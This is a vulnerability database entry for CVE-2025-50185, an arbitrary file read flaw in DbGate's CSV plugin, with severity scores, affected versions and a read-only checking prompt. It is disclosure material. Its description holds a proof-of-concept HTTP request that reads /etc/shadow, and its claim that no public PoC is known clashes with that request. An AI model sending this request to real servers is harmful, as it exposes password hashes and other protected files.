# CVE-2025-50185: DbGate allows Unauthorized File Access via CSV Plugin

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH 7.0
- **CVSS:** 7.0 (v4.0, CNA) `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:P`
- **CVSS metrics:** Attack vector: Network; Attack complexity: Low; Attack requirements: None; Privileges required: Low; User interaction: None; Confidentiality impact: High; Integrity impact: None; Availability impact: None; Confidentiality impact on other systems: High; Integrity impact on other systems: None; Availability impact on other systems: None; Exploit maturity: Proof of concept
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Remote, login needed
- **EPSS:** 0.70% (percentile 49, 2026-11-26)
- **CWE:** CWE-29
- **Published:** 2025-07-26T03:34:43.481Z
- **Modified:** 2026-06-17T09:34:49.297Z

## Who should check

- Anyone running dbgate \<= 6.6.0

## Description

DbGate is cross-platform database manager. In versions 6.6.0 and below, DbGate allows unauthorized file access due to insufficient validation of file paths and types. A user with application-level access can retrieve data from arbitrary files on the system, regardless of their location or file type. The plugin fails to enforce proper checks on content type and file extension before reading a file. As a result, even sensitive files accessible only to the root user can be read through the application interface. There is currently no fix for this issue.






\`\`\`
POST /runners/load-reader HTTP/1.1
Host: \<REPLACE ME\>
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: \*/\*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: \<REPLACE ME\>
Content-Type: application/json
Authorization: Bearer \<REPLACE ME\>
Content-Length: 127
Origin: http://192.168.124.119:3000
Connection: keep-alive
Cookie: \<REPLACE ME\>
Priority: u=0
Cache-Control: max-age=0

{"functionName":"reader@dbgate-plugin-csv","props":{"fileName":"/etc\\/shadow","limitRows":100}}

\`\`\`



The request payload:
!\[Screenshot From 2025-05-31 22-54-49\](https://github.com/user-attachments/assets/28943ad7-14f8-432a-9836-cec5c3593c0a)


Lines of the file being returned:
!\[Screenshot From 2025-05-31 22-55-23\](https://github.com/user-attachments/assets/4fae4652-097d-4d39-9f7a-6ce39346ed1d)

## Affected and fixed versions

- dbgate: \<= 6.6.0 (cvelist)

## Mitigation

- No fix listed yet: follow the vendor advisory.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2025-50185. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2025-50185.md
Affected: dbgate <= 6.6.0
Fixed in: no fixed version listed yet

Steps:
1. Search this machine and project for dbgate: dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2025-50185 being exploited?

There is no confirmed exploitation: CVE-2025-50185 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.70% chance of exploitation in the next 30 days (as of 2026-11-26).

### How serious is CVE-2025-50185?

High: CVSS 7.0 (v4.0, scored by CNA). Remote, login needed.

### Which versions are affected by CVE-2025-50185?

dbgate \<= 6.6.0.

### Is there a fix for CVE-2025-50185?

No fixed version is listed in the sources yet. No fix listed yet: follow the vendor advisory.

### How do I check if I'm affected by CVE-2025-50185?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/dbgate/dbgate/security/advisories/GHSA-7x75-fmx7-q6h9>
- other: <https://github.com/dbgate/dbgate/blob/v6.6.0/plugins/dbgate-plugin-csv/src/backend/reader.js#L71-L102>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- NVD: This product uses data from the NVD API but is not endorsed or certified by the NVD. <https://nvd.nist.gov/vuln/detail/CVE-2025-50185>

HTML: <https://flawdb.com/CVE-2025-50185> · JSON: <https://flawdb.com/api/v1/entries/CVE-2025-50185>
